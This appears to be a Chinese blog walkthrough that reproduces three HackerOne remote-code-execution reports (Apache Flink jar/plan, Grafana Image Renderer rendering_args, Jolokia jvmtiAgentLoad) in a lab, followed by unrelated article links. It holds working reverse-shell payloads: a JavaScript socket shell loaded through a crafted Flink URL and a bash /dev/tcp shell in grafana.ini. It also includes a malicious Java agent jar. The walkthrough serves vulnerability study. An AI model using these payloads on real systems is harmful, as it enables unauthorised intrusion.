百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

学习HackerOne上Flink、Grafana、jolokia攻击手法

csdh11 2025-03-24 15:20 6 浏览

前言

那天凑巧上HackerOne看看,所以jarij的漏洞报告刚一放出来就看到了。但是看完三篇RCE的报告
- Apache Flink RCE via GET jar/plan API Endpoint
- aiven_ltd Grafana RCE via SMTP server parameter injection
- [Kafka Connect] [JdbcSinkConnector][HttpSinkConnector] RCE by leveraging file upload via SQLite JDBC driver and SSRF to internal Jolokia

后,想要搭建本地环境去复现,却无从下手。因为确实没有接触并实际使用过这些产品。也不知道一些功能如何去使用,如:
- 如何部署flink的job
- 如何新建一个grafana的dashboard等操作。

直到chybeta师傅在知识星球发了文章,及pyn3rd师傅发的文章一种JDBC Attack的新方式,我决定去学一下并搭建本地环境去复现jarij师傅的三篇漏洞报告。

下面将从环境搭建->攻击这样简单的两个步骤描述我复现的过程。中间涉及到的一些Java特性等知识点并未被充分的描述。这是因为我在学习的过程中,也只是简单理解并会使用,并不能很好的讲述其具体原理。

下文可配合漏洞作者的ppt使用

Apache Flink RCE via GET jar/plan API Endpoint

版本限制

  • jdk>8

环境搭建

  • Parallels Ubuntu20.04(IP:10.211.55.3)
  • 本机Macos(IP:10.211.55.2)
  • 访问Flink官网,下载并解压flink
Bash
wget https://archive.apache.org/dist/flink/flink-1.15.2/flink-1.15.2-bin-scala_2.12.tgz
tar zxvf flink-1.15.2-bin-scala_2.12.tgz

  1. 安装openjdk
Bash
sudo apt install openjdk-11-jdk
java -version

  1. 修改配置文件,放开局域网访问
sed -i 's/rest.bind-address: localhost/rest.bind-address: 0.0.0.0/' flink-1.15.2/conf/flink-conf.yaml
  1. 启动flink
cd flink-1.15.2/bin/
./start-cluster.sh
  1. 访问Flink服务,查看是否启动成功

攻击

根据漏洞报告,目标环境不能发起post请求,但是可以在控制台执行job和发起get请求。

  1. 为模拟目标环境:我们先制作一个job的jar包,并上传运行。文件结构及内容如下:

MANIFEST.MF(末尾要有换行符)

Manifest-Version: 1.0
Main-Class: UnboundStreamJob

UnBoundStreamJob.java

import java.util.Arrays;
import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.typeinfo.Types;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.streaming.api.datastream.DataStreamSource;
import org.apache.flink.streaming.api.datastream.SingleOutputStreamOperator;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;

public class UnboundStreamJob {
    @SuppressWarnings("deprecation")
    public static void main(String[] args) throws Exception {
        StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        DataStreamSource source = env.socketTextStream("127.0.0.1", 9999);
        SingleOutputStreamOperator<Tuple2> sum = source.flatMap((FlatMapFunction<String, Tuple2>) (lines, out) -> {
            Arrays.stream(lines.split(" ")).forEach(s -> out.collect(Tuple2.of(s, 1)));
        }).returns(Types.TUPLE(Types.STRING, Types.INT)).keyBy(0).sum(1);
        sum.print("test");
        env.execute();
    }
}

pom.xml


    4.0.0

    com.xxx
    flinkJobdemo
    1.0
    jar

    flinkdemo
    http://maven.apache.org

    
        1.13.1
        2.12
        1.7.30
    

    
        
            org.apache.flink
            flink-java
            ${flink.version}
            provided
        
        
            org.apache.flink
            flink-streaming-java_${scala.binary.version}
            ${flink.version}
            provided
        
        
            org.apache.flink
            flink-clients_${scala.binary.version}
            ${flink.version}
            provided
        
        
            org.apache.flink
            flink-runtime-web_${scala.binary.version}
            ${flink.version}
            provided
        
        
            org.apache.flink
            flink-connector-kafka-0.11_${scala.binary.version}
            1.11.4
        
        
            org.springframework.kafka
            spring-kafka
            2.7.8
        
        
            org.slf4j
            slf4j-api
            ${slf4j.version}
            provided
        
        
            org.slf4j
            slf4j-log4j12
            ${slf4j.version}
            provided
        
        
            org.apache.logging.log4j
            log4j-to-slf4j
            2.14.0
            provided
        
    
    
        
            
                org.apache.maven.plugins
                maven-compiler-plugin
                3.1
                
                    1.8
                    1.8
                
            
            
                org.apache.maven.plugins
                maven-shade-plugin
                3.2.4
                
                    
                        package
                        
                            shade
                        
                        
                            
                                
                                    com.google.code.findbugs:jsr305
                                    org.slf4j:*
                                    log4j:*
                                
                            
                            
                                
                                    
                                    *:*
                                    
                                        META-INF/*.SF
                                        META-INF/*.DSA
                                        META-INF/*.RSA
                                    
                                
                            
                            
                                
                                
                            
                        
                    
                
            
        
    

使用Artifacts打包,从左往右依次点击蓝色高亮选项(选Empty下面的)

配置成如下图所示

点击OK

从上到下,依次点击蓝色高亮选项

点击Build,即可在out目录找到打包后的jar

  1. 上传打包后的jar包

正常情况下,会自动显示Entry-Class。点击Submit

  1. 本机(10.211.55.2)启动一个http.server,目录下放a.js,内容如下
var host="10.211.55.2";
var port=8044;
var cmd="/bin/bash";
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

启动服务,并测试服务可用

python3 -m http.server 8000

  1. 在本机(10.211.55.2)监听8044端口

  1. 攻击

访问 http://10.211.55.3:8081/jars/

浏览器访问({idvalue}替换为上图的e3ea857b-4b5e-4889-8a03-3bc1fcfbd04a_flinkJobdemo.jar

http://10.211.55.3:8081/jars/{idvalue}/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(%22http://10.211.55.2:8000/a.js%22)Pllelism=1

如下图a.js被访问,nc接收到反弹的shell

注意:

  1. 复现过程中出错,可能会导致flink服务shutdown,需要手动kill进程ID
  2. 根据官方文档最新显示,/jars/:jarid/plan只支持post请求。但经过测试还是可以用get进行访问
  3. 尝试挖掘jdk8及以下是否有可利用的main函数,未果

参考:

  • https://hackerone.com/reports/1418891
  • https://blog.csdn.net/feinifi/article/details/121293135
  • https://nightlies.apache.org/flink/flink-docs-master/docs/ops/rest_api/

Grafana Image Renderer配置文件RCE

环境搭建

VMware-ubuntu20.04下执行该命令

sudo apt-get install -y adduser libfontconfig1
wget https://dl.grafana.com/enterprise/release/grafana-enterprise_7.5.4_amd64.deb
sudo dpkg -i grafana-enterprise_7.5.4_amd64.deb

sudo grafana-cli plugins install grafana-image-renderer 3.0.0
sudo apt-get install libx11-6 libx11-xcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrender1 libxtst6 libglib2.0-0 libnss3 libcups2  libdbus-1-3 libxss1 libxrandr2 libgtk-3-0 libasound2 libxcb-dri3-0 libgbm1 libxshmfence1 -y

sudo systemctl daemon-reload
sudo systemctl start grafana-server
sudo systemctl status grafana-server

攻击过程

  1. 修改配置文件grafana.ini的内容
sudo vim /etc/grafana/grafana.ini
rendering_args = --renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/127.0.0.1/4444$IFS0<&1$ifs2>&1

重启grafana服务

sudo systemctl restart grafana-server
  1. 监听VMware-ubuntu20.044444端口

  1. 访问http://{VMware-ubuntu20.04}:3000,登录后,新建一个dashboard(默认的即可)

点击share

点击direct link rendered image

  1. 查看nc监听窗口,执行命令成功

注意

  • 经过测试,要使用grafana 7才能成功。如果使用grafana 8及其以上,配置了rendering_args参数后使用/render功能会立即报错无法加载chrome进程等(我tm找了好久的原因,一度放弃= =,以为是环境问题,结果是版本问题,但我没有进一步探寻为什么高版本不行了);同时高版本下rendering_args参数值最后的特殊字符也会被urlencode(图丢了略
  • 关于grafana-image-renderer的版本,因为中间我尝试使用了docker grafana 7.5.4配合docker grafana-image-renderer latest搭建环境,但是报错了,所以就选择了3.0.0版本。故本文也延用了该版本。

参考文章

  • https://grafana.com/grafana/download?pg=get&platform=linux&plcmt=selfmanaged-box1-cta1
  • https://grafana.com/docs/grafana/v9.0/setup-grafana/installation/debian/#2-start-the-server

jvmtiAgentLoad操作RCE

版本限制:

  • 大于等于JDK9

JDK8及其以下的jolokiacom.sun.management未能找到jvmtiAgentLoad操作。

环境搭建

Macos下idea直接启动Spring服务(JDK11)

配置一个存在actuator/jolokia接口的Spring服务,可以参考Landgrey师父的环境。配置好Idea后启动服务

使用浏览器访问 http://127.0.0.1:9094

如上图所示,环境搭建成功

攻击

  1. 访问: http://localhost:9094/jolokia/list 搜索jvmtiAgentLoad,可以看到存在该操作。

该操作的利用涉及到一个概念JVMTI,参考pyn3rd师傅的文章。大概了解是什么意思后,我们知道需要实现一个Java Agent Jar,供jvmtiAgentLoad加载实现RCE。

  1. 实现JavaAgent Jar。其目录结构,及各个文件内容如下:
j7ur8@192 /tmp % tree evilagent 
evilagent
├── META-INF
│   └── MANIFEST.MF
├── evil.jar
└── org
    └── example
        └── JavaAgent.java

3 directories, 3 files
j7ur8@192 /tmp % cat evilagent/META-INF/MANIFEST.MF 
Manifest-Version: 1.0
Agent-Class: org.example.JavaAgent

j7ur8@192 /tmp % cat evilagent/org/example/JavaAgent.java
package org.example;

import java.lang.instrument.Instrumentation;

public class JavaAgent {
    private static final String RCE_COMMAND = "open -a Calculator.app";
    public static void agentmain(String args, Instrumentation inst){
        System.out.println("success123123");
        try{
           Runtime.getRuntime().exec(RCE_COMMAND);
        }catch (Exception e){
       e.printStackTrace();
    }
    System.out.println("fail"); 
    }

}
j7ur8@192 /tmp % 

将其打包成jar文件

javac org/example/JavaAgent.java
jar cfvm evil.jar META-INF/MANIFEST.MF . .

  1. 使用jvmtiAgentLoad操作加载恶意JavaAgent
http://127.0.0.1:9094/jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/tmp!/evilagent!/evil.jar

成功弹出计算器

参考

  • https://hackerone.com/reports/1547877
  • http://tttang.com/archive/1831/
  • https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

总结

上述三种攻击手法的环境要求基本都需要JDK>8,这样的话,了解和熟悉专业产品才能进行更好的攻击吧。

from https://tttang.com/archive/1854/

相关推荐

探索Java项目中日志系统最佳实践:从入门到精通

探索Java项目中日志系统最佳实践:从入门到精通在现代软件开发中,日志系统如同一位默默无闻却至关重要的管家,它记录了程序运行中的各种事件,为我们排查问题、监控性能和优化系统提供了宝贵的依据。在Java...

用了这么多年的java日志框架,你真的弄懂了吗?

在项目开发过程中,有一个必不可少的环节就是记录日志,相信只要是个程序员都用过,可是咱们自问下,用了这么多年的日志框架,你确定自己真弄懂了日志框架的来龙去脉嘛?下面笔者就详细聊聊java中常用日志框架的...

物理老师教你学Java语言(中篇)(物理专业学编程)

第四章物质的基本结构——类与对象...

一文搞定!Spring Boot3 定时任务操作全攻略

各位互联网大厂的后端开发小伙伴们,在使用SpringBoot3开发项目时,你是否遇到过定时任务实现的难题呢?比如任务调度时间不准确,代码报错却找不到方向,是不是特别头疼?如今,随着互联网业务规模...

你还不懂java的日志系统吗 ?(java的日志类)

一、背景在java的开发中,使用最多也绕不过去的一个话题就是日志,在程序中除了业务代码外,使用最多的就是打印日志。经常听到的这样一句话就是“打个日志调试下”,没错在日常的开发、调试过程中打印日志是常干...

谈谈枚举的新用法--java(java枚举的作用与好处)

问题的由来前段时间改游戏buff功能,干了一件愚蠢的事情,那就是把枚举和运算集合在一起,然后运行一段时间后buff就出现各种问题,我当时懵逼了!事情是这样的,做过游戏的都知道,buff,需要分类型,且...

你还不懂java的日志系统吗(javaw 日志)

一、背景在java的开发中,使用最多也绕不过去的一个话题就是日志,在程序中除了业务代码外,使用最多的就是打印日志。经常听到的这样一句话就是“打个日志调试下”,没错在日常的开发、调试过程中打印日志是常干...

Java 8之后的那些新特性(三):Java System Logger

去年12月份log4j日志框架的一个漏洞,给Java整个行业造成了非常大的影响。这个事情也顺带把log4j这个日志框架推到了争议的最前线。在Java领域,log4j可能相对比较流行。而在log4j之外...

Java开发中的日志管理:让程序“开口说话”

Java开发中的日志管理:让程序“开口说话”日志是程序员的朋友,也是程序的“嘴巴”。它能让程序在运行过程中“开口说话”,告诉我们它的状态、行为以及遇到的问题。在Java开发中,良好的日志管理不仅能帮助...

吊打面试官(十二)--Java语言中ArrayList类一文全掌握

导读...

OS X 效率启动器 Alfred 详解与使用技巧

问:为什么要在Mac上使用效率启动器类应用?答:在非特殊专业用户的环境下,(每天)用户一般可以在系统中进行上百次操作,可以是点击,也可以是拖拽,但这些只是过程,而我们的真正目的是想获得结果,也就是...

Java中 高级的异常处理(java中异常处理的两种方式)

介绍异常处理是软件开发的一个关键方面,尤其是在Java中,这种语言以其稳健性和平台独立性而闻名。正确的异常处理不仅可以防止应用程序崩溃,还有助于调试并向用户提供有意义的反馈。...

【性能调优】全方位教你定位慢SQL,方法介绍下!

1.使用数据库自带工具...

全面了解mysql锁机制(InnoDB)与问题排查

MySQL/InnoDB的加锁,一直是一个常见的话题。例如,数据库如果有高并发请求,如何保证数据完整性?产生死锁问题如何排查并解决?下面是不同锁等级的区别表级锁:开销小,加锁快;不会出现死锁;锁定粒度...

看懂这篇文章,你就懂了数据库死锁产生的场景和解决方法

一、什么是死锁加锁(Locking)是数据库在并发访问时保证数据一致性和完整性的主要机制。任何事务都需要获得相应对象上的锁才能访问数据,读取数据的事务通常只需要获得读锁(共享锁),修改数据的事务需要获...